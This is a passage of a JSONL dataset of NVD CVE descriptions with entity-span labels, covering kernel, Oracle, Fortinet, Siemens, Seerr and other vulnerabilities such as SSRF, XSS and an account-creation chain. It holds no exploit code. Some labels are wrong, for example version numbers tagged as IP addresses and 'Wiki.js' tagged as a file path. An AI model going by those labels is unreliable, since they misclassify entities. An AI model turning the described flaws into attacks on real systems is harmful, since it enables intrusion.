issue\ntrigger.\n\nIn order to disable irqs before requesting them, both UCR1 and UCR2 irqs\nshould be disabled, so here fix that, disable the Ageing Timer interrupt\nin UCR2 as UCR1 does.", "spans": {"SYSTEM: Linux kernel": [[7, 19]], "VULNERABILITY: NULL pointer dereference": [[302, 326]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2023-54287"}}
{"text": "Vulnerability in the BI Publisher product of Oracle Fusion Middleware (component: E-Business Suite - XDO). Supported versions that are affected are 5.5.0.0.0, 11.1.1.9.0, 12.2.1.3.0 and 12.2.1.4.0. Easily exploitable vulnerability allows low privileged attacker with network access via HTTP to compromise BI Publisher. While the vulnerability is in BI Publisher, attacks may significantly impact additional products. Successful attacks of this vulnerability can result in unauthorized access to critical data or complete access to all BI Publisher accessible data as well as unauthorized update, insert or delete access to some of BI Publisher accessible data. CVSS 3.1 Base Score 8.5 (Confidentiality and Integrity impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:L/A:N).", "spans": {"IP_ADDRESS: 5.5.0.0": [[148, 155]], "IP_ADDRESS: 11.1.1.9": [[159, 167]], "IP_ADDRESS: 12.2.1.3": [[171, 179]], "IP_ADDRESS: 12.2.1.4": [[186, 194]], "ORGANIZATION: Oracle": [[45, 51]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2020-14880"}}
{"text": "Indico is an event management system that uses Flask-Multipass, a multi-backend authentication system for Flask. Versions prior to 3.3.10 are vulnerable to server-side request forgery. Indico makes outgoing requests to user-provides URLs in various places. This is mostly intentional and part of Indico's functionality but is never intended to let users access \"special\" targets such as localhost or cloud metadata endpoints. Users should upgrade to version 3.3.10 to receive a patch. Those who do not have IPs that expose sensitive data without authentication (typically because they do not host Indico on AWS) are not affected. Only event organizers can access endpoints where SSRF could be used to actually see the data returned by such a request. For those who trust their event organizers, the risk is also very limited. For additional security, both before and after patching, one may also use the common proxy-related environment variables (in particular `http_proxy` and `https_proxy`) to force outgoing requests to go through a proxy that limits requests in whatever way you deem useful/necessary. These environment variables would need to be set both on the indico-uwsgi and indico-celery services.", "spans": {"ORGANIZATION: AWS": [[607, 610]], "VULNERABILITY: server-side request forgery": [[156, 183]], "VULNERABILITY: SSRF": [[679, 683]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2026-25738"}}
{"text": "Open Zaak is a modern, open-source data- and services-layer to enable zaakgericht werken, a Dutch approach to case management. In Open Zaak before version 1.3.3 the Cross-Origin-Resource-Sharing policy in Open Zaak is currently wide open - every client is allowed. This allows evil.com to run scripts that perform AJAX calls to known Open Zaak installations, and the browser will not block these. This was intended to only apply to development machines running on localhost/127.0.0.1. Open Zaak 1.3.3 disables CORS by default, while it can be opted-in through environment variables. The vulnerability does not actually seem exploitable because: a) The session cookie has a `Same-Site: Lax` policy which prevents it from being sent along in Cross-Origin requests. b) All pages that give access to (production) data are login-protected c) `Access-Control-Allow-Credentials` is set to `false` d) CSRF checks probably block the remote origin, since they're not explicitly added to the trusted allowlist.", "spans": {"IP_ADDRESS: 127.0.0.1": [[474, 483]], "DOMAIN: evil.com": [[277, 285]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2020-26251"}}
{"text": "Execution of the \"show ospf interface extensive\" or \"show ospf interface detail\" CLI commands on a Juniper Networks device running Junos OS may cause the routing protocols process (RPD) to crash and restart if OSPF interface authentication is configured, leading to a Denial of Service (DoS). By continuously executing the same CLI commands, a local attacker can repeatedly crash the RPD process causing a sustained Denial of Service. Note: Only systems utilizing ARM processors, found on the EX2300 and EX3400, are vulnerable to this issue. Systems shipped with other processor architectures are not vulnerable to this issue. The processor architecture can be displayed via the 'uname -a' command. For example: ARM (vulnerable): % uname -a | awk '{print $NF}' arm PowerPC (not vulnerable): % uname -a | awk '{print $NF}' powerpc AMD (not vulnerable): % uname -a | awk '{print $NF}' amd64 Intel (not vulnerable): % uname -a | awk '{print $NF}' i386 This issue affects Juniper Networks Junos OS: 12.3X48 versions prior to 12.3X48-D100; 14.1X53 versions prior to 14.1X53-D140, 14.1X53-D54; 15.1 versions prior to 15.1R7-S7; 15.1X49 versions prior to 15.1X49-D210; 15.1X53 versions prior to 15.1X53-D593; 16.1 versions prior to 16.1R7-S8; 17.1 versions prior to 17.1R2-S12; 17.2 versions prior to 17.2R3-S4; 17.3 versions prior to 17.3R3-S8; 17.4 versions prior to 17.4R2-S2, 17.4R3; 18.1 versions prior to 18.1R3-S2; 18.2 versions prior to 18.2R2, 18.2R3; 18.2X75 versions prior to 18.2X75-D40; 18.3 versions prior to 18.3R1-S2, 18.3R2.", "spans": {"ORGANIZATION: Juniper": [[99, 106], [968, 975]], "ORGANIZATION: Intel": [[889, 894]], "ORGANIZATION: AMD": [[830, 833]], "VULNERABILITY: Denial of Service": [[268, 285], [416, 433]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2020-1643"}}
{"text": "Vulnerability in the Oracle Financial Services Liquidity Risk Management product of Oracle Financial Services Applications (component: User Interfaces). The supported version that is affected is 8.0.6. Easily exploitable vulnerability allows low privileged attacker with network access via HTTP to compromise Oracle Financial Services Liquidity Risk Management. Successful attacks of this vulnerability can result in unauthorized creation, deletion or modification access to critical data or all Oracle Financial Services Liquidity Risk Management accessible data as well as unauthorized read access to a subset of Oracle Financial Services Liquidity Risk Management accessible data. CVSS 3.0 Base Score 7.1 (Confidentiality and Integrity impacts). CVSS Vector: (CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:H/A:N).", "spans": {"ORGANIZATION: Oracle": [[21, 27], [84, 90], [309, 315], [496, 502], [615, 621]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2020-2891"}}
{"text": "This High severity Path Traversal vulnerability was introduced in version 6.13.0 of Confluence Data Center. This Path Traversal vulnerability, with a CVSS Score of 8.3, allows an unauthenticated attacker to exploit an undefinable vulnerability which has high impact to confidentiality, high impact to integrity, high impact to availability, and requires user interaction.\n\nAtlassian recommends that Confluence Data Center and Server customers upgrade to latest version, if you are unable to do so, upgrade your instance to one of the specified supported fixed versions: Data Center Atlassian recommends that Confluence Data Center customers upgrade to the latest version and that Confluence Server customers upgrade to the latest 8.5.x LTS version.\n\nIf you are unable to do so, upgrade your instance to one of the specified supported fixed versions See the release notes https://confluence.atlassian.com/doc/confluence-release-notes-327.html\n\nYou can download the latest version of Confluence Data Center and Server from the download center https://www.atlassian.com/software/confluence/download-archives. \n\nThis vulnerability was reported via our Bug Bounty program.", "spans": {"URL: https://confluence.atlassian.com/doc/confluence-release-notes-327.html": [[871, 941]], "URL: https://www.atlassian.com/software/confluence/download-archives.": [[1041, 1105]], "ORGANIZATION: Atlassian": [[373, 382], [582, 591]], "VULNERABILITY: Path Traversal": [[19, 33], [113, 127]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2024-21677"}}
{"text": "Seerr is an open-source media request and discovery manager for Jellyfin, Plex, and Emby. Prior to version 3.1.0, the `GET /api/v1/user/:id` endpoint returns the full settings object for any user, including Pushover, Pushbullet, and Telegram credentials, to any authenticated requester regardless of their privilege level. This vulnerability can be exploited alone or combined with the reported unauthenticated account creation vulnerability, CVE-2026-27707. When combined, the two vulnerabilities create a zero-prior-access chain that leaks third-party API credentials for all users, including administrators. Version 3.1.0 contains a fix for both this vulnerability and for CVE-2026-27707.", "spans": {"CVE_ID: CVE-2026-27707": [[443, 457], [676, 690]], "FILEPATH: /api/v1/user": [[123, 135]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2026-27793"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nbinder: fix double-free in dbitmap\n\nA process might fail to allocate a new bitmap when trying to expand its\nproc->dmap. In that case, dbitmap_grow() fails and frees the old bitmap\nvia dbitmap_free(). However, the driver calls dbitmap_free() again when\nthe same process terminates, leading to a double-free error:\n\n  ==================================================================\n  BUG: KASAN: double-free in binder_proc_dec_tmpref+0x2e0/0x55c\n  Free of addr ffff00000b7c1420 by task kworker/9:1/209\n\n  CPU: 9 UID: 0 PID: 209 Comm: kworker/9:1 Not tainted 6.17.0-rc6-dirty #5 PREEMPT\n  Hardware name: linux,dummy-virt (DT)\n  Workqueue: events binder_deferred_func\n  Call trace:\n   kfree+0x164/0x31c\n   binder_proc_dec_tmpref+0x2e0/0x55c\n   binder_deferred_func+0xc24/0x1120\n   process_one_work+0x520/0xba4\n  [...]\n\n  Allocated by task 448:\n   __kmalloc_noprof+0x178/0x3c0\n   bitmap_zalloc+0x24/0x30\n   binder_open+0x14c/0xc10\n  [...]\n\n  Freed by task 449:\n   kfree+0x184/0x31c\n   binder_inc_ref_for_node+0xb44/0xe44\n   binder_transaction+0x29b4/0x7fbc\n   binder_thread_write+0x1708/0x442c\n   binder_ioctl+0x1b50/0x2900\n  [...]\n  ==================================================================\n\nFix this issue by marking proc->map NULL in dbitmap_free().", "spans": {"SYSTEM: Linux kernel": [[7, 19]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2025-40028"}}
{"text": "A insertion of sensitive information into sent data vulnerability in Fortinet FortiMail 7.4.0 through 7.4.2, FortiMail 7.2.0 through 7.2.6, FortiMail 7.0 all versions, FortiManager 7.6.0 through 7.6.1, FortiManager 7.4.1 through 7.4.3, FortiManager Cloud 7.4.1 through 7.4.3, FortiNDR 7.6.0 through 7.6.1, FortiNDR 7.4.0 through 7.4.8, FortiNDR 7.2 all versions, FortiNDR 7.1 all versions, FortiNDR 7.0 all versions, FortiNDR 1.5 all versions, FortiOS 7.6.0, FortiOS 7.4.0 through 7.4.4, FortiOS 7.2.0 through 7.2.8, FortiOS 7.0.0 through 7.0.15, FortiOS 6.4.0 through 6.4.15, FortiOS 6.2 all versions, FortiOS 6.0 all versions, FortiPAM 1.3 all versions, FortiPAM 1.2 all versions, FortiPAM 1.1 all versions, FortiPAM 1.0 all versions, FortiProxy 7.4.0 through 7.4.4, FortiProxy 7.2.0 through 7.2.10, FortiProxy 7.0 all versions, FortiProxy 2.0 all versions, FortiProxy 1.2 all versions, FortiProxy 1.1 all versions, FortiProxy 1.0 all versions, FortiRecorder 7.2.0 through 7.2.1, FortiRecorder 7.0.0 through 7.0.4, FortiTester 7.4.0 through 7.4.2, FortiTester 7.3 all versions, FortiTester 7.2 all versions, FortiTester 7.1 all versions, FortiTester 7.0 all versions, FortiTester 4.2 all versions, FortiVoice 7.0.0 through 7.0.4, FortiVoice 6.4.0 through 6.4.9, FortiVoice 6.0.7 through 6.0.12, FortiWeb 7.6.0, FortiWeb 7.4.0 through 7.4.4, FortiWeb 7.2 all versions, FortiWeb 7.0 all versions, FortiWeb 6.4 all versions allows attacker to disclose sensitive information via specially crafted packets.", "spans": {"SYSTEM: FortiManager": [[168, 180], [202, 214], [236, 248]], "SYSTEM: FortiProxy": [[737, 747], [769, 779], [802, 812], [831, 841], [860, 870], [889, 899], [918, 928]], "SYSTEM: FortiWeb": [[1297, 1305], [1313, 1321], [1343, 1351], [1370, 1378], [1397, 1405]], "SYSTEM: FortiOS": [[444, 451], [459, 466], [488, 495], [517, 524], [547, 554], [577, 584], [603, 610]], "ORGANIZATION: Fortinet": [[69, 77]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2024-47569"}}
{"text": "Buffer over-reads were discovered in the CoAP library in Arm Mbed OS 5.15.3. The CoAP parser is responsible for parsing received CoAP packets. The function sn_coap_parser_options_parse() parses CoAP input linearly using a while loop. Once an option is parsed in a loop, the current point (*packet_data_pptr) is increased correspondingly. The pointer is restricted by the size of the received buffer, as well as by the option delta and option length bytes. The actual input packet length is not verified against the number of bytes read when processing the option extended delta and the option extended length. Moreover, the calculation of the message_left variable, in the case of non-extended option deltas, is incorrect and indicates more data left for processing than provided in the function input. All of these lead to heap-based or stack-based memory location read access that is outside of the intended boundary of the buffer. Depending on the platform-specific memory management mechanisms, it can lead to processing of unintended inputs or system memory access violation errors.", "spans": {}, "info": {"source": "nvd_v2", "cve_id": "CVE-2020-12883"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nLoongArch: Optimize module load time by optimizing PLT/GOT counting\n\nWhen enabling CONFIG_KASAN, CONFIG_PREEMPT_VOLUNTARY_BUILD and\nCONFIG_PREEMPT_VOLUNTARY at the same time, there will be soft deadlock,\nthe relevant logs are as follows:\n\nrcu: INFO: rcu_sched self-detected stall on CPU\n...\nCall Trace:\n[<900000000024f9e4>] show_stack+0x5c/0x180\n[<90000000002482f4>] dump_stack_lvl+0x94/0xbc\n[<9000000000224544>] rcu_dump_cpu_stacks+0x1fc/0x280\n[<900000000037ac80>] rcu_sched_clock_irq+0x720/0xf88\n[<9000000000396c34>] update_process_times+0xb4/0x150\n[<90000000003b2474>] tick_nohz_handler+0xf4/0x250\n[<9000000000397e28>] __hrtimer_run_queues+0x1d0/0x428\n[<9000000000399b2c>] hrtimer_interrupt+0x214/0x538\n[<9000000000253634>] constant_timer_interrupt+0x64/0x80\n[<9000000000349938>] __handle_irq_event_percpu+0x78/0x1a0\n[<9000000000349a78>] handle_irq_event_percpu+0x18/0x88\n[<9000000000354c00>] handle_percpu_irq+0x90/0xf0\n[<9000000000348c74>] handle_irq_desc+0x94/0xb8\n[<9000000001012b28>] handle_cpu_irq+0x68/0xa0\n[<9000000001def8c0>] handle_loongarch_irq+0x30/0x48\n[<9000000001def958>] do_vint+0x80/0xd0\n[<9000000000268a0c>] kasan_mem_to_shadow.part.0+0x2c/0x2a0\n[<90000000006344f4>] __asan_load8+0x4c/0x120\n[<900000000025c0d0>] module_frob_arch_sections+0x5c8/0x6b8\n[<90000000003895f0>] load_module+0x9e0/0x2958\n[<900000000038b770>] __do_sys_init_module+0x208/0x2d0\n[<9000000001df0c34>] do_syscall+0x94/0x190\n[<900000000024d6fc>] handle_syscall+0xbc/0x158\n\nAfter analysis, this is because the slow speed of loading the amdgpu\nmodule leads to the long time occupation of the cpu and then the soft\ndeadlock.\n\nWhen loading a module, module_frob_arch_sections() tries to figure out\nthe number of PLTs/GOTs that will be needed to handle all the RELAs. It\nwill call the count_max_entries() to find in an out-of-order date which\ncounting algorithm has O(n^2) complexity.\n\nTo make it faster, we sort the relocation list by info and addend. That\nway, to check for a duplicate relocation, it just needs to compare with\nthe previous entry. This reduces the complexity of the algorithm to O(n\n log n), as done in commit d4e0340919fb (\"arm64/module: Optimize module\nload time by optimizing PLT counting\"). This gives sinificant reduction\nin module load time for modules with large number of relocations.\n\nAfter applying this patch, the soft deadlock problem has been solved,\nand the kernel starts normally without \"Call Trace\".\n\nUsing the default configuration to test some modules, the results are as\nfollows:\n\nModule              Size\nip_tables           36K\nfat                 143K\nradeon              2.5MB\namdgpu              16MB\n\nWithout this patch:\nModule              Module load time (ms)\tCount(PLTs/GOTs)\nip_tables           18\t\t\t\t59/6\nfat                 0\t\t\t\t162/14\nradeon              54\t\t\t\t1221/84\namdgpu              1411\t\t\t4525/1098\n\nWith this patch:\nModule              Module load time (ms)\tCount(PLTs/GOTs)\nip_tables           18\t\t\t\t59/6\nfat                 0\t\t\t\t162/14\nradeon              22\t\t\t\t1221/84\namdgpu              45\t\t\t\t4525/1098", "spans": {"SYSTEM: Linux kernel": [[7, 19]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2025-39767"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\npowercap: arm_scmi: Remove recursion while parsing zones\n\nPowercap zones can be defined as arranged in a hierarchy of trees and when\nregistering a zone with powercap_register_zone(), the kernel powercap\nsubsystem expects this to happen starting from the root zones down to the\nleaves; on the other side, de-registration by powercap_deregister_zone()\nmust begin from the leaf zones.\n\nAvailable SCMI powercap zones are retrieved dynamically from the platform\nat probe time and, while any defined hierarchy between the zones is\ndescribed properly in the zones descriptor, the platform returns the\navailables zones with no particular well-defined order: as a consequence,\nthe trees possibly composing the hierarchy of zones have to be somehow\nwalked properly to register the retrieved zones from the root.\n\nCurrently the ARM SCMI Powercap driver walks the zones using a recursive\nalgorithm; this approach, even though correct and tested can lead to kernel\nstack overflow when processing a returned hierarchy of zones composed by\nparticularly high trees.\n\nAvoid possible kernel stack overflow by substituting the recursive approach\nwith an iterative one supported by a dynamically allocated stack-like data\nstructure.", "spans": {"SYSTEM: Linux kernel": [[7, 19]], "VULNERABILITY: stack overflow": [[1021, 1035], [1142, 1156]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2023-53428"}}
{"text": "A vulnerability has been identified in RUGGEDCOM RM1224 LTE(4G) EU (6GK6108-4AM00-2BA2) (All versions < V8.2), RUGGEDCOM RM1224 LTE(4G) NAM (6GK6108-4AM00-2DA2) (All versions < V8.2), SCALANCE M804PB (6GK5804-0AP00-2AA2) (All versions < V8.2), SCALANCE M812-1 ADSL-Router (6GK5812-1AA00-2AA2) (All versions < V8.2), SCALANCE M812-1 ADSL-Router (6GK5812-1BA00-2AA2) (All versions < V8.2), SCALANCE M816-1 ADSL-Router (6GK5816-1AA00-2AA2) (All versions < V8.2), SCALANCE M816-1 ADSL-Router (6GK5816-1BA00-2AA2) (All versions < V8.2), SCALANCE M826-2 SHDSL-Router (6GK5826-2AB00-2AB2) (All versions < V8.2), SCALANCE M874-2 (6GK5874-2AA00-2AA2) (All versions < V8.2), SCALANCE M874-3 (6GK5874-3AA00-2AA2) (All versions < V8.2), SCALANCE M874-3 3G-Router (CN) (6GK5874-3AA00-2FA2) (All versions < V8.2), SCALANCE M876-3 (6GK5876-3AA02-2BA2) (All versions < V8.2), SCALANCE M876-3 (ROK) (6GK5876-3AA02-2EA2) (All versions < V8.2), SCALANCE M876-4 (6GK5876-4AA10-2BA2) (All versions < V8.2), SCALANCE M876-4 (EU) (6GK5876-4AA00-2BA2) (All versions < V8.2), SCALANCE M876-4 (NAM) (6GK5876-4AA00-2DA2) (All versions < V8.2), SCALANCE MUM853-1 (A1) (6GK5853-2EA10-2AA1) (All versions < V8.2), SCALANCE MUM853-1 (B1) (6GK5853-2EA10-2BA1) (All versions < V8.2), SCALANCE MUM853-1 (EU) (6GK5853-2EA00-2DA1) (All versions < V8.2), SCALANCE MUM856-1 (A1) (6GK5856-2EA10-3AA1) (All versions < V8.2), SCALANCE MUM856-1 (B1) (6GK5856-2EA10-3BA1) (All versions < V8.2), SCALANCE MUM856-1 (CN) (6GK5856-2EA00-3FA1) (All versions < V8.2), SCALANCE MUM856-1 (EU) (6GK5856-2EA00-3DA1) (All versions < V8.2), SCALANCE MUM856-1 (RoW) (6GK5856-2EA00-3AA1) (All versions < V8.2), SCALANCE S615 EEC LAN-Router (6GK5615-0AA01-2AA2) (All versions < V8.2), SCALANCE S615 LAN-Router (6GK5615-0AA00-2AA2) (All versions < V8.2), SCALANCE WAB762-1 (6GK5762-1AJ00-6AA0) (All versions < V3.0.0), SCALANCE WAM763-1 (6GK5763-1AL00-7DA0) (All versions < V3.0.0), SCALANCE WAM763-1 (ME) (6GK5763-1AL00-7DC0) (All versions < V3.0.0), SCALANCE WAM763-1 (US) (6GK5763-1AL00-7DB0) (All versions < V3.0.0), SCALANCE WAM766-1 (6GK5766-1GE00-7DA0) (All versions < V3.0.0), SCALANCE WAM766-1 (ME) (6GK5766-1GE00-7DC0) (All versions < V3.0.0), SCALANCE WAM766-1 (US) (6GK5766-1GE00-7DB0) (All versions < V3.0.0), SCALANCE WAM766-1 EEC (6GK5766-1GE00-7TA0) (All versions < V3.0.0), SCALANCE WAM766-1 EEC (ME) (6GK5766-1GE00-7TC0) (All versions < V3.0.0), SCALANCE WAM766-1 EEC (US) (6GK5766-1GE00-7TB0) (All versions < V3.0.0), SCALANCE WUB762-1 (6GK5762-1AJ00-1AA0) (All versions < V3.0.0), SCALANCE WUB762-1 iFeatures (6GK5762-1AJ00-2AA0) (All versions < V3.0.0), SCALANCE WUM763-1 (6GK5763-1AL00-3AA0) (All versions < V3.0.0), SCALANCE WUM763-1 (6GK5763-1AL00-3DA0) (All versions < V3.0.0), SCALANCE WUM763-1 (US) (6GK5763-1AL00-3AB0) (All versions < V3.0.0), SCALANCE WUM763-1 (US) (6GK5763-1AL00-3DB0) (All versions < V3.0.0), SCALANCE WUM766-1 (6GK5766-1GE00-3DA0) (All versions < V3.0.0), SCALANCE WUM766-1 (ME) (6GK5766-1GE00-3DC0) (All versions < V3.0.0), SCALANCE WUM766-1 (USA) (6GK5766-1GE00-3DB0) (All versions < V3.0.0). Affected devices truncates usernames longer than 15 characters when accessed via SSH or Telnet. This could allow an attacker to compromise system integrity.", "spans": {"SYSTEM: V8": [[104, 106], [177, 179], [237, 239], [309, 311], [381, 383], [453, 455], [525, 527], [598, 600], [658, 660], [718, 720], [793, 795], [853, 855], [919, 921], [979, 981], [1044, 1046], [1110, 1112], [1177, 1179], [1244, 1246], [1311, 1313], [1378, 1380], [1445, 1447], [1512, 1514], [1579, 1581], [1647, 1649], [1720, 1722], [1789, 1791]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2024-50560"}}
{"text": "In Wiki.js before version 2.5.162, an XSS payload can be injected in a page title and executed via the search results. While the title is properly escaped in both the navigation links and the actual page title, it is not the case in the search results. Commit a57d9af34c15adbf460dde6553d964efddf433de fixes this vulnerability (version 2.5.162) by properly escaping the text content displayed in the search results.", "spans": {"HASH: a57d9af34c15adbf460dde6553d964efddf433de": [[260, 300]], "FILEPATH: Wiki.js": [[3, 10]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2020-15274"}}
{"text": "Seerr is an open-source media request and discovery manager for Jellyfin, Plex, and Emby. Starting in version 2.0.0 and prior to version 3.1.0, an authentication guard logic flaw in `POST /api/v1/auth/jellyfin` allows an unauthenticated attacker to register a new Seerr account on any Plex-configured instance by authenticating with an attacker-controlled Jellyfin server. The attacker receives an authenticated session and can immediately use the application with default permissions, including the ability to submit media requests to Radarr/Sonarr. Any Seerr deployment where all three of the following are true may be vulnerable: `settings.main.mediaServerType` is set to `PLEX` (the most common deployment).; `settings.jellyfin.ip` is set to `\"\"` (default, meaning Jellyfin was never configured); and `settings.main.newPlexLogin` is set to `true` (default). Jellyfin-configured and Emby-configured deployments are not affected. Version 3.1.0 of Seerr fixes this issue.", "spans": {"FILEPATH: /api/v1/auth/jellyfin": [[188, 209]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2026-27707"}}
{"text": "A vulnerability has been identified in SIMATIC S7-PLCSIM V17 (All versions), SIMATIC STEP 7 V17 (All versions < V17 Update 9), SIMATIC STEP 7 V18 (All versions), SIMATIC STEP 7 V19 (All versions < V19 Update 4), SIMATIC STEP 7 V20 (All versions < V20 Update 4), SIMATIC WinCC V17 (All versions < V17 Update 9), SIMATIC WinCC V18 (All versions), SIMATIC WinCC V19 (All versions < V19 Update 4), SIMATIC WinCC V20 (All versions < V20 Update 4), SIMOCODE ES V17 (All versions), SIMOCODE ES V18 (All versions), SIMOCODE ES V19 (All versions), SIMOCODE ES V20 (All versions), SIMOTION SCOUT TIA V5.4 (All versions), SIMOTION SCOUT TIA V5.5 (All versions), SIMOTION SCOUT TIA V5.6 (All versions < V5.6 SP1 HF7), SIMOTION SCOUT TIA V5.7 (All versions), SINAMICS Startdrive V17 (All versions), SINAMICS Startdrive V18 (All versions), SINAMICS Startdrive V19 (All versions), SINAMICS Startdrive V20 (All versions), SIRIUS Safety ES V17 (TIA Portal) (All versions), SIRIUS Safety ES V18 (TIA Portal) (All versions), SIRIUS Safety ES V19 (TIA Portal) (All versions), SIRIUS Safety ES V20 (TIA Portal) (All versions), SIRIUS Soft Starter ES V17 (TIA Portal) (All versions), SIRIUS Soft Starter ES V18 (TIA Portal) (All versions), SIRIUS Soft Starter ES V19 (TIA Portal) (All versions), SIRIUS Soft Starter ES V20 (TIA Portal) (All versions), TIA Portal Cloud V17 (All versions), TIA Portal Cloud V18 (All versions), TIA Portal Cloud V19 (All versions < V5.2.1.1), TIA Portal Cloud V20 (All versions < V5.2.2.2). Affected products do not properly sanitize stored security properties when parsing project files. This could allow an attacker to cause a type confusion and execute arbitrary code within the affected application.", "spans": {"VULNERABILITY: type confusion": [[1638, 1652]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2025-40759"}}
{"text": "In dotCMS, versions mentioned, a flaw in the NormalizationFilter does not strip double slashes (//) from URLs, potentially enabling bypasses for XSS and access controls. An example affected URL is  https://demo.dotcms.com//html/portlet/ext/files/edit_text_inc.jsp , which should return a 404 response but didn't. \n\nThe oversight in the default invalid URL character list can be viewed at the provided  GitHub link https://github.com/dotCMS/core/blob/master/dotCMS/src/main/java/com/dotcms/filters/NormalizationFilter.java#L37 . \n\nTo mitigate, users can block URLs with double slashes at firewalls or utilize dotCMS config variables.\n\nSpecifically, they can use the DOT_URI_NORMALIZATION_FORBIDDEN_STRINGS environmental variable to add // to the list of invalid strings. \n\nAdditionally, the DOT_URI_NORMALIZATION_FORBIDDEN_REGEX variable offers more detailed control, for instance, to block //html.* URLs.\n\nFix Version:23.06+, LTS 22.03.7+, LTS 23.01.4+", "spans": {"URL: https://demo.dotcms.com//html/portlet/ext/files/edit_text_inc.jsp": [[198, 263]], "URL: https://github.com/dotCMS/core/blob/master/dotCMS/src/main/java/com/dotcms/filters/NormalizationFilter.java#L37": [[414, 525]], "ORGANIZATION: GitHub": [[402, 408]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2023-3042"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\ndrm/vkms: Fix null-ptr-deref in vkms_release()\n\nA null-ptr-deref is triggered when it tries to destroy the workqueue in\nvkms->output.composer_workq in vkms_release().\n\n KASAN: null-ptr-deref in range [0x0000000000000118-0x000000000000011f]\n CPU: 5 PID: 17193 Comm: modprobe Not tainted 6.0.0-11331-gd465bff130bf #24\n RIP: 0010:destroy_workqueue+0x2f/0x710\n ...\n Call Trace:\n  <TASK>\n  ? vkms_config_debugfs_init+0x50/0x50 [vkms]\n  __devm_drm_dev_alloc+0x15a/0x1c0 [drm]\n  vkms_init+0x245/0x1000 [vkms]\n  do_one_initcall+0xd0/0x4f0\n  do_init_module+0x1a4/0x680\n  load_module+0x6249/0x7110\n  __do_sys_finit_module+0x140/0x200\n  do_syscall_64+0x35/0x80\n  entry_SYSCALL_64_after_hwframe+0x46/0xb0\n\nThe reason is that an OOM happened which triggers the destroy of the\nworkqueue, however, the workqueue is alloced in the later process,\nthus a null-ptr-deref happened. A simple call graph is shown as below:\n\n vkms_init()\n  vkms_create()\n    devm_drm_dev_alloc()\n      __devm_drm_dev_alloc()\n        devm_drm_dev_init()\n          devm_add_action_or_reset()\n            devm_add_action() # an error happened\n            devm_drm_dev_init_release()\n              drm_dev_put()\n                kref_put()\n                  drm_dev_release()\n                    vkms_release()\n                      destroy_workqueue() # null-ptr-deref happened\n    vkms_modeset_init()\n      vkms_output_init()\n        vkms_crtc_init() # where the workqueue get allocated\n\nFix this by checking if composer_workq is NULL before passing it to\nthe destroy_workqueue() in vkms_release().", "spans": {"SYSTEM: Linux kernel": [[7, 19]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2022-50369"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nbpf, cpumap: Handle skb as well when clean up ptr_ring\n\nThe following warning was reported when running xdp_redirect_cpu with\nboth skb-mode and stress-mode enabled:\n\n  ------------[ cut here ]------------\n  Incorrect XDP memory type (-2128176192) usage\n  WARNING: CPU: 7 PID: 1442 at net/core/xdp.c:405\n  Modules linked in:\n  CPU: 7 PID: 1442 Comm: kworker/7:0 Tainted: G  6.5.0-rc2+ #1\n  Hardware name: QEMU Standard PC (i440FX + PIIX, 1996)\n  Workqueue: events __cpu_map_entry_free\n  RIP: 0010:__xdp_return+0x1e4/0x4a0\n  ......\n  Call Trace:\n   <TASK>\n   ? show_regs+0x65/0x70\n   ? __warn+0xa5/0x240\n   ? __xdp_return+0x1e4/0x4a0\n   ......\n   xdp_return_frame+0x4d/0x150\n   __cpu_map_entry_free+0xf9/0x230\n   process_one_work+0x6b0/0xb80\n   worker_thread+0x96/0x720\n   kthread+0x1a5/0x1f0\n   ret_from_fork+0x3a/0x70\n   ret_from_fork_asm+0x1b/0x30\n   </TASK>\n\nThe reason for the warning is twofold. One is due to the kthread\ncpu_map_kthread_run() is stopped prematurely. Another one is\n__cpu_map_ring_cleanup() doesn't handle skb mode and treats skbs in\nptr_ring as XDP frames.\n\nPrematurely-stopped kthread will be fixed by the preceding patch and\nptr_ring will be empty when __cpu_map_ring_cleanup() is called. But\nas the comments in __cpu_map_ring_cleanup() said, handling and freeing\nskbs in ptr_ring as well to \"catch any broken behaviour gracefully\".", "spans": {"FILEPATH: /core/xdp.c": [[356, 367]], "SYSTEM: Linux kernel": [[7, 19]], "SYSTEM: QEMU": [[473, 477]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2023-53660"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nparisc: Fix data TLB miss in sba_unmap_sg\n\nRolf Eike Beer reported the following bug:\n\n[1274934.746891] Bad Address (null pointer deref?): Code=15 (Data TLB miss fault) at addr 0000004140000018\n[1274934.746891] CPU: 3 PID: 5549 Comm: cmake Not tainted 5.15.4-gentoo-parisc64 #4\n[1274934.746891] Hardware name: 9000/785/C8000\n[1274934.746891]\n[1274934.746891]      YZrvWESTHLNXBCVMcbcbcbcbOGFRQPDI\n[1274934.746891] PSW: 00001000000001001111111000001110 Not tainted\n[1274934.746891] r00-03  000000ff0804fe0e 0000000040bc9bc0 00000000406760e4 0000004140000000\n[1274934.746891] r04-07  0000000040b693c0 0000004140000000 000000004a2b08b0 0000000000000001\n[1274934.746891] r08-11  0000000041f98810 0000000000000000 000000004a0a7000 0000000000000001\n[1274934.746891] r12-15  0000000040bddbc0 0000000040c0cbc0 0000000040bddbc0 0000000040bddbc0\n[1274934.746891] r16-19  0000000040bde3c0 0000000040bddbc0 